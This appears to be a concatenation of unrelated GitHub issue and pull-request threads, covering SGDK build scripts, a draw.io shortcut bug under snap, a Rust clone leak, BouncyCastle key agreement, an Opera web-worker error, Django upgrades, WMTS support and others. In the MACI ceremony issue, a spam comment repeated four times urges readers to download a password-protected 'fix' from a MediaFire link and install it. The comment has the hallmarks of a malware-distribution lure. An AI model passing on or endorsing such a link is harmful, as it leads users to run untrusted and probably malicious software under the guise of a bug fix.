	VBoxManage guestcontrol "Windows 10" --username "pedro" run "Z:\\SGDK\\projects\\$(FOLDER)\make.bat"
	$(EMULATOR) 'z:\home\pladaria\projects\genesis\SGDK\projects\test6\out\rom.bin'

clean:
	rm -rf out
	rm -f res/**/*.h
	rm -f res/*.h
	rm -f res/**/*.rs
	rm -f res/*.rs

make.bat
echo off

rem change working dir
cd /D "%~dp0"

rem print working dir
cd

rem compile
Z:\SGDK\bin\make.exe -f Z:\SGDK\makefile.gen

Copied "as is" you should adapt for your needs.
Some notes:

Executing make in my project folder tells windows to execute the make.bat file. The bat file was needed to make sure the working directory is correct
I have a shared folder /home/pladaria/projects/genesis (host) mapped to Z: (windows VM)
I run Gens KMod using wine (note the path to the rom passed as argument)

OK I have got the VMWare on OSX running as with @pladaria's VBox example.
You need to specify the path to the virtual machine and use vmrun
`VM=/Users/USER/Virtual\ Machines.localized/Windows\ 10\ x64.vmwarevm/Windows\ 10\ x64.vmx
vmrun -gu USERNAME -gp PASSWORD runScriptInGuest $(VM) -interactive "" "cmd.exe /k "Z:\Sega\Projects\Test\make.bat" x86"
`

Hi! I've posted a solution that is working for me in case you want to give it a try: https://github.com/Stephane-D/SGDK/pull/201#issuecomment-849081998

Works perfectly, thank you!

Works perfectly, thank you!

 Glad this helps!

Fixed in https://github.com/Stephane-D/SGDK/pull/216
Thanks @LIZARDRIVE  and @Elazul for your work!


Copy/Paste Does Not Work On Ubuntu 18.04  with Chrome

Ctrl-C and Ctrl-V does not work on Ubuntu v18.04. I tested on 2 machines. For both Online and Desktop versions of draw.io, I cannot use keyboard Ctrl-C to copy or Ctrl-V to paste on the canvas.
Copy/Paste with mouse clicks and selection from the Edit menu works as well. I have reset the Ubuntu keyboard settings to make sure there were no keyboard mapping conflicts.
[6994]

Any update for this issue?

Works for me with Chrome 67.0.3396.79 on Ubuntu 18.04.

Can confirm that copy / paste shortcuts do not work on Ubuntu 18.04.2 LTS (draw.io-amd64-9.3.1)
And Chrome Version 74.0.3729.169 (Official Build) (64-bit) (draw.io online version)
There are no conflicts, the copy paste shortcut works on every other application and browser windows.

I have the same issue on Chrome 75.0.3770.142 running on Ubuntu 19.04.
The copy/paste shortcuts don't work at all.
Copy/paste menu selections work within a document, but not across documents.

Update: ctrl+c/v is working now.
The solution is simply downloading the .deb sudo apt install it
I've come to realize over time that apps installed through snap becomes unbelievably buggy, apps like Spotify, VLC and of course draw.io
This is a snap problem.

Is everyone else on snap?

I'm using draw.io Online 12.2.4 with Chrome.
Yes, ctrl-c and ctrl-v finally work. Also, verified that it works between
tabs of one document and between different documents. Hallelujah.
Thanks draw.io team!
On Wed, Nov 13, 2019 at 1:36 AM David Benson<EMAIL_ADDRESS>wrote:

Is everyone else on snap?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/jgraph/drawio/issues/262?email_source=notifications&email_token=AAA2XDOKXFCDDKC5YSZUQKLQTPDDNA5CNFSM4FCL6K4KYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOED5PZ3I#issuecomment-553319661,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAA2XDP56QF6DOBS3HFJRC3QTPDDNANCNFSM4FCL6K4A
.

OK, I'll close this if it's snap specific now.


Clone implementation leaks cloned values during a panic

The current implementation of clone, which attempts to optimize writes to self.length by deferring them until the end, leaks memory if a clone panics. This occurs because MaybeUninit<T> doesn't run destructors when it's dropped, because it can't know whether or not it's initialized. I've added a test demonstrating this behavior, and fixed the clone implementation.
Feel free to replace my clone implementation with one that is optimized to your satisfaction; I only added it so that this pull request would pass CI.

You're right. Although it is "sound" by Rust standards (leaks that is) there's definitely gotta be a way I can do it without leaking. I guess I was just worrying too much about not having the StaticVec call them at the wrong time. I'll merge this for now and think about an alternative.

Thanks for adding the "Counter" structs by the way, they'll definitely come in handy.


org.bouncycastle.crypto.params.Ed25519PrivateKeyParameters is in unnamed module of loader 'app'

Hello.
When I try to compile & run this code in Kotlin:
[...]
val e1: BasicAgreement = ECDHBasicAgreement()
e1.init(kp.private)
val k1: BigInteger = e1.calculateAgreement(kp.public)

I get the following error upon compilation:
Exception in thread "main" java.lang.ClassCastException: class org.bouncycastle.crypto.params.Ed25519PrivateKeyParameters cannot be cast to class org.bouncycastle.crypto.params.ECPrivateKeyParameters (org.bouncycastle.crypto.params.Ed25519PrivateKeyParameters and org.bouncycastle.crypto.params.ECPrivateKeyParameters are in unnamed module of loader 'app')
        at org.bouncycastle.crypto.agreement.ECDHBasicAgreement.init(Unknown Source)
[...]

What exactly is the issue here or how to fix?

There's a separate X25519Agreement class for this, and also it uses X25519PrivateKeyParameters/X25519PublicKeyParameters, not Ed25519 ones.

I got this from https://github.com/bcgit/bc-java/blob/bc3b92f1f0e78b82e2584c5fb4b226a13e7f8b3b/core/src/test/java/org/bouncycastle/crypto/test/ECTest.java#L771 actually.

OK. The issue was the passed public and private keys. Using:
[...]
val p1: AsymmetricCipherKeyPair = pGen.generateKeyPair()

fixed it.
Thank you in any case!


Adding Binaries in CNB Images

Hi,
I have a sample java based hello world spring boot Gradle project. I want to add other tools in the containers like wget, curl, and git.
I am using shipwright with paketo build packs to build images. I have a requirement to include binaries of other tools in the image.
For Ex: wget,curl,git in /usr/local/bin.
I have gone through a lot of workarounds:

Using custom buildpacks
Creating a new image with the dockerfile
I want to avoid any overhead or maintenance work and I want CNB to handle any deps.

Hence looking for a better approach, How can I achieve this using shipwright and how to add mixins using shipwright? Any help or suggestion would help a lot.

From Grooming:
Paketo solutions:

today: custom run image
future: I remember that Paketo discussed how it could support the installation of OS packages. Main blocker was that the overall build process runs as non-root. Current status is unknown.

With Shipwright:

Use a Dockerfile strategy
In the future: we work on Triggers, eventually it will be possible to trigger a BuildRun of Build B when a BuildRun of Build A finishes. In your case, your Buildpacks build would be A, and for example a Dockerfile-based Build B would enhance the image.

Hey, Thanks for the comment. We went ahead with the shipwright dockerfile strategy.


[RFE] Validating VMware Credentials on a UI Appliance

[RFE] Validating VMWare Credentials on a UI Appliance
https://bugzilla.redhat.com/show_bug.cgi?id=1109425
When validating credentials and adding a provider to a different zone, the UI appliance attempts to do the credential validation itself which is an issue if that appliance has no network connectivity to the provider that is being added.
Fix this by making credential validation a queued task that gets run on the appliance in the zone that is going to own that provider.

@jrafanie Can you review since you were in this area at one point?

@agrare @blomquisg @Fryguy what is the status of this PR?

Implemented the credential encryption and am looking for feedback on the changes.

@agrare please rebase and push again

@blomquisg @Fryguy Please review

@miq-bot add-label wip
WIP to fix merge problems and spec tests


fix(key-auth) If the body or the content type is not valid, ignore,continue to process

Summary
plugins-key-auth
Issues resolved
Fix #5893 for plugins-key-auth

@gszr  request review and merge.

Thank you for this as well, the changes proposed here were included in #6357. Thus closing this.


specified 'initial-scale=1' on all viewport meta tags

This PR reverts #5706. #5706 removed the initial-scale=1 specification from the <meta name="viewport" > tags used for templating, on the basis that specification was no longer needed, since browsers should default to 1.
However, Chrome-based browsers don't do this, causing design and accessibility issues:
Screencast from 27-09-23 14:33:39.webm
Please don't delete this checklist! Before submitting the PR, please make sure you do the following:

[x] It's really useful if your PR references an issue where it is discussed ahead of time. In many cases, features are absent for a reason. For large changes, please create an RFC: https://github.com/sveltejs/rfcs
[x] This message body should clearly illustrate what problems it solves.
[ ] Ideally, include a test that fails without this PR but passes with it.

Tests

[ ] Run the tests with pnpm test and lint the project with pnpm lint and pnpm check

pnpm test runs successfully, didn't lint or check.

Changesets

[ ] If your PR makes a change that should be noted in one or more packages' changelogs, generate a changeset by running pnpm changeset and following the prompts. Changesets that add features should be minor and those that fix bugs should be patch. Please prefix changeset messages with feat:, fix:, or chore:.

A note to reviewers that some comments have been posted on the original PR: https://github.com/sveltejs/kit/pull/5706#issuecomment-1736988790. We can wait a little bit and see if the original author responds


REP code should be '3' (not '1') for Pitch/Yaw/Roll

Another small documentation error:
https://github.com/RiftCat/vridge-api/wiki/Head-Tracking-API#rep
When sending Pitch/Yaw/Roll as Float Radians, the code used should be '3', not '1' (which is for a matrix).

Actually this is not a bug. The phone sends it's pitch/yaw/roll/etc data under '1' after being requested.
Sorry, Closing...


Api versioning

@shreypandey next time, when you are creating a PR ensure there is only one migration. We don't need the intermediate migrations


ostrio_files.js error when using opera

When I try to test an application on Opera 12.16 Build 1860 (Debian 8, x86_64 system) I get an client error in ostrio_files.js line 1647:
Unhandled Error: Cannot convert '_URL' to object
											this._webWorkerUrl = _URL.createObjectURL(new Blob(['"use strict";self.onmessage=function(a){if(a.data.ib===!0)postMessage({bin:a.data.f.slice(a.data.cs*(a.data.cc-1),a.data.cs*a.data.cc),chunkId:a.data.cc});else{var b;self.FileReader?(b=new FileReader,b.onloadend=function(c){postMessage({bin:(b.result||c.srcElement||c.target).split(",")[1],chunkId:a.data.cc,s:a.data.s})},b.onerror=function(a){throw(a.target||a.srcElement).error},b.readAsDataURL(a.data.f.slice(a.data.cs*(a.data.cc-1),a.data.cs*a.data.cc))):self.FileReaderSync?(b=new FileReaderSync,postMessage({bin:b.readAsDataURL(a.data.f.slice(a.data.cs*(a.data.cc-1),a.data.cs*a.data.cc)).split(",")[1],chunkId:a.data.cc})):postMessage({bin:null,chunkId:a.data.cc,error:"File API is not supported in WebWorker!"})}};'], {
												type: 'application/javascript'//
											})); //
										})

The command in the next line (1646) sets _URL to undefined, which obviously causes the error on line 1647:
_URL = window.URL || window.webkitURL || window.mozURL; //

Versions:
Meteor <IP_ADDRESS>
<EMAIL_ADDRESS>This only happens in Opera, the application runs well on Firefox, Chrome.

Hello @sebastianlutter
Thank you for report, sorry for delay.

Is this Mac, Linux or Win?
Which Opera version?

Tested on Mac Opera (43.0.2431.0) and (41.0.2353.69), can't reproduce

Is this Mac, Linux or Win?  Debian 8, x86_64 system
Which Opera version?

user@work:~$ sudo apt-cache show opera
Package: opera
Version: 12.16.1860
Architecture: amd64
[ . . . ]
Homepage: http://www.opera.com/browser/
Priority: optional
Section: non-free/web
Filename: pool/non-free/o/opera/opera_12.16.1860_amd64.deb
[ ... ]

This will be fixed in next release

This is the result of _URL when I ran in operas console:
>>> _URL = window.URL || window.webkitURL || window.mozURL || window.msURL || window.oURL || false;
false

Then the condition the line after would be false
if window?.Worker and window?.Blob and _URL

I have no understanding of the surrounding code, is this what you expected?

Yes,
Basically, BlobBuilder is not supported, so it will fall-back to request Worker code over the wire.

Hi @sebastianlutter
Published as v1.7.6
Could you please update, and confirm as fixed on your end?

updated to v1.7.6, confirm it is working now (Opera 12.16.1860 on Debian 8)
Thanks :)

@sebastianlutter great, thank you for report.
Please, support this project by:

Star on GitHub
Star on Atmosphere
Share on Facebook and Twitter
Donate via PayPal


[Requirements] Drop Python2 Support

Upgraded dependencies
Removed structures supported by python2
simplified super() function
Upgraded to Django3

Fixes #82

Coverage increased (+0.09%) to 96.87% when pulling<PHONE_NUMBER>8f8b182b457c4dcde41f8007f10a65 on IAmAMissingColon:Python3 into e484aecf2963ad29ef72f1f387fcecf4a046e201 on openwisp:master.

As I think the django1 should be remove as it's not supporting django-allauth anymore
Should I remove the python3.5 as well ?

@IAmAMissingColon I tested with openwisp/openwisp-utils#44 & django-model-utils==4.0.0 but the tests are failing, can you please investigate into it?

Okay :smile:

About your questions,

Yes, if it's required due to dependency, please drop it.
I think yes we can drop python 3.5, it's about to be deprecated in 9 months https://devguide.python.org/#status-of-python-branches

Okay! :smile:
Dropping Python3.5

@IAmAMissingColon I tested with openwisp/openwisp-utils#44 & django-model-utils==4.0.0 but the tests are failing, can you please investigate into it?

It shows openwisp-utils 0.3 has requirement django-model-utils<3.3.0,>=3.1.2, but you'll have django-model-utils 4.0.0 which is incompatible. maybe that's the reason of fail

The tests for Django3 are passing but somehow the Django2.1 is failing! @atb00ker

@atb00ker It might be realted to Django2.1?

Just that? Nothing else is remaining ?? :smile:

Rebased with master :smile: , but Django3 tests are failing now.. fixing them :smile:


earthly: init at 0.5.11

Motivation for this change
Earthly can help to generate repeatable and understandable builds on CI or locally.
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

Can this get in before 21.05 branch off?
I really need earthly for a customer project, and I managed to defer the rewrite of related stuff until next month with "earthly is not officially supported on my linux distro currently but should be with the next release in about a month".
I'd be happy if the PR gets at least merged into master/unstable by then, but 21.05 would be much more appreciated.


increase build number to force a build process (for missing win pkg)

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


useEffect with handleSnackbar causes multiple refreshes

as title states I am getting two refreshes which shouldnt happen

this is because of React.strictmode in index.tsx


Support for readonly filesystems

Describe your changes
Added support for read-only file systems
Issue number
Closes #63
Checklist before requesting a review

[X] Performed a self-review of my code
[X] Formatted my code with pkgmt format
[X] Added tests (when necessary).
[X] Added docstring documentation and update the changelog (when needed)

:books: Documentation preview :books:: https://ploomber-core--67.org.readthedocs.build/en/67/

Overall LG, but can we have a real readonly folder to test?

Yup, I added it in conftest.py and testing: test_config.py::test_readonly
Passing for ubuntu and Macos. Working on fixing Windows one based on this

Looks like a special fix for windows environment, try to see if it's easy fix, since this was happened originally in EC2 environment.

@edublancas @jinniw43805 @tonykploomber @yafimvo
So, I tried to get it working on Windows based on this for conftest.py , but it failed (Currently, I  put an xfail around it)
Needs a Windows VM for further debugging.
Except the Windows part, resolved all the comments and PR is ready to merge

So, I tried to get it working on Windows based on this for conftest.py , but it failed (Currently, I put an xfail around it) Needs a Windows VM for further debugging.
Except the Windows part, resolved all the comments and PR is ready to merge

Can we do something like this test_permissions_error?
I think if it doesn't work we can leave it for now since test_permissions_error is already checking this behavior.

@yafimvo

Can we do something like this test_permissions_error?

os.chmod doesn't works on windows.

Although Windows supports chmod(), you can only set the file’s read-only flag with it (via the stat.S_IWRITE and stat.S_IREAD constants or a corresponding integer value). All other bits are ignored.

I tried out setting using stat.S_IWRITE and stat.S_IREAD. It is not working
I tried out this thread, but it not working

Since we know internal and user configurations are working on windows (from here), I think let's keep def test_readonly(tmp_readonly_directory) as is (skip on Windows) and remove the windows part ( if platform.system() == "Windows":) from def tmp_readonly_directory(). Please add a short explanation of what's the issue on windows and add the links so we can fix it later.

I believe the function is correct, just needs some little debugging. So, I am keeping the function there for future reference.
Added a #TODO comment.
Also, I added the links in the if-else statement.

I believe the function is correct, just needs some little debugging. So, I am keeping the function there for future reference.
Added a #TODO comment.
Also, I added the links in the if-else statement

@mehtamohit013 Can you please open an issue so it won't get lost?

What kind of logging do you want to add?
Currently added :

yes. this logging.warning makes sense

@edublancas
A few points:

Removed dependency on check_dir_exist function, as the code is stuck in an infinite loop in some cases. Added functionality to config.py to automatically create dir if not exists.
Minor: While debugging, I thought there was some error when setting attributing DEFAULT_PLOOMBER_DIR to .. So, replaced it with pathlib function.

@edublancas
Removed logging and tested it using the script above
Ready for merge.


Circuit not cleared after completed contribution

Prerequisites
Please answer the following questions for yourself before submitting an issue.

[x ] I am running the latest version
[x ] I checked the documentation and found no answer
[x ] I checked to make sure that this issue has not already been filed

Expected Behavior
The circuit's currentContributor field should be cleared following a contribution., allowing the next waiting contributor (if any) to take their place.
Current Behavior
This is intermittent and rare, but an instance has been identified in the MACI v2 ceremony of a circuit record left uncleared after the contributor had completed and moved through the remaining circuits.
Failure Information
Please help provide information about the failure if this is a bug. If it is not a bug, please remove the rest of this template.
Steps to Reproduce
Please provide detailed steps for reproducing the issue.

step 1
step 2
you get it...

Context
Please provide any relevant information about your setup. This is important in case the issue is not reproducible except for under certain conditions.

Firmware Version:
Operating System:
SDK version:
Toolchain version:

Failure Logs
Circuit record (circuit #1) screen shot. This was taken ~12 hrs after the contribution.

Participant record: step = COMPLETED, status = DONE, showing that the participant had completed all 4 circuits in the ceremony.

Logs show no errors around completion of circuit #1

No other contributor was waiting in the queue at the time, but the queue would effectively be frozen. The normal mechanism for clearing did not occur. The timeout function does not apply for this situation.
In this case, the fields were manually cleared in order to keep the ceremony flowing.

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Log for coordinateParticipant function for 1st circuit:

Note: status remained CONTRIBUTING while step moved from VERIFYING to COMPLETED
The function code requires this set of conditions to be true:
const participantCompletedContribution =
            prevContributionProgress === changedContributionProgress &&
            prevStatus === ParticipantStatus.CONTRIBUTING &&
            prevContributionStep === ParticipantContributionStep.VERIFYING &&
            changedStatus === ParticipantStatus.CONTRIBUTED &&
            changedContributionStep === ParticipantContributionStep.COMPLETED

i.e. both status and step are expected to change at the same time.
In the absence of this, the coordinate function is not invoked.

The above condition changed to work even if both status and step are not changed at once - as long as they are both at CONTRIBUTED/COMPLETED.


Added option for manual partitioning

The commits I made should allow manual partitioning and dual boot, without needing to wipe whole disk.
scripts/archtitus.sh:

Disabled logging for startup.sh to resolve an issue with cfdisk command run from startup.sh where arrows become unusable. (cfdisk is used for manual partitioning.)

scripts/startup.sh:

Four new variables for setup.conf:

INSTALL_IN: Possible values are DISK or PART depending on user input.
PART: Possible values:

blank "" if INSTALL_IN=DISK.
drive partition name got from user input (For example: /dev/sda2. This should be the root partition.)

BOOTPART: Possible values:

blank "" if INSTALL_IN=DISK or if partition table is MBR.
drive partition name got from user input (For example: /dev/sda1. This should be the EFI System partition for UEFI or BIOS BOOT partition for Legacy BIOS in GPT.)

FORMATEFI: Possible values are yes or no depending on user input.

scripts/0-preinstall.sh

Added logic to install arch using the new variables.

scripts/3-post-setup.sh

Added logic to install grub in either disk or partition depending on the new variables.

Other changes:

EFI System partition mount point is changed from /boot to /boot/efi

@HiDe-Techno-Tips the REFERENCE.md stuff gets auto generated with shell documentation tags on the actual source files.

@HiDe-Techno-Tips the REFERENCE.md stuff gets auto generated with shell documentation tags on the actual source files.

@khaneliman, I had no idea. Fixed that with https://github.com/ChrisTitusTech/ArchTitus/pull/293/commits/6dfd820f43603a0bbf132918f61784feb2226478


RTB - 1075 - Timestamp with timezone for insert statement from view.

RTB - 1075 - Timestamp with timezone insert from view.

Looks good to me!


Add pip

Checklist

[x] Used a personal fork of the feedstock to propose changes
[ ] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

This fell through the cracks during the inital review.

@conda-forge-admin, please rerender

@LukasAdamowicz Azure and GitHub are currently experiencing an outage. Let's wait until that's resolved and then I'll restart CI again.

Perfect, thank you for fixing this!

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

In case you don't want to wait for the CI to finish, you can also add the "automerge" label and the conda-forge tools will merge it for you once everything passes.

The build has passed and the package should be available now. Welcome to conda-forge!


Allow nodes to be Unions

Awesome library!
Is there a way for nodes to be a Union or ObjectType (it only allows this right now)? The relay spec itself allows this: https://relay.dev/graphql/connections.htm#sec-Node

I would also love to see an example with GraphQL Union Types

Unions should work but you have to define your own Edge class, it's not supported by extending createEdgeType() because that expects to be passed a class constructor.
Your Edge class should implement EdgeInterface<YourUnionType> and contain node and cursor properties, with node being typed and decorated to match your union. You can look at what createEdgeType does here as a basis: https://github.com/equalogic/nestjs-graphql-connection/blob/master/src/type/Edge.ts#L16


Package request: chrome-pak-customizer

Project description
A simple batch tool to customize pak files in chrome or an chromium-based browser.
Metadata

homepage URL:
source URL: https://github.com/myfreeer/chrome-pak-customizer
license: mit/lgpl2.1+
platforms: linux?

Add a :+1: reaction to issues you find important.

platforms: linux?

seems like not only Windows as we can clearly see here, here on "Non-windows" section.


Add WMTS server support

Adds support for WMTS servers, such as NASA GIBS. Time dimensions are supported.
This also fixes a couple of issues with projection switching. When choosing the best projection for a layer, it must choose one enumerated for support by the server. This means that the layer can choose something like urn:ogc:def:crs:OGC:1.3:CRS84. However, the projection switch should change the overall map projection to EPSG:4326, since things like default map layers are done by string codes in settings.

[x]  WMTS servers from config
[x]  WMTS servers from users
[x]  Auto detect date/time format from dimension default if not set

Testing
Config:
      "wmts-test": {
        "type": "wmts",
        "label": "NASA GIBS WMTS",
        "url": "https://gibs.earthdata.nasa.gov/wmts/epsg4326/best/wmts.cgi"
      }

For user added URLs, use this.
GeoServer's WMTS implementation would also be a good test since it supports multiple projections in the same capabilities document.

I'm waiting on some feedback from some third-parties on whether item 4 there will be necessary. I would rather avoid it since it is messy.

Item 4 was not necessary and I've removed it. Ready for review.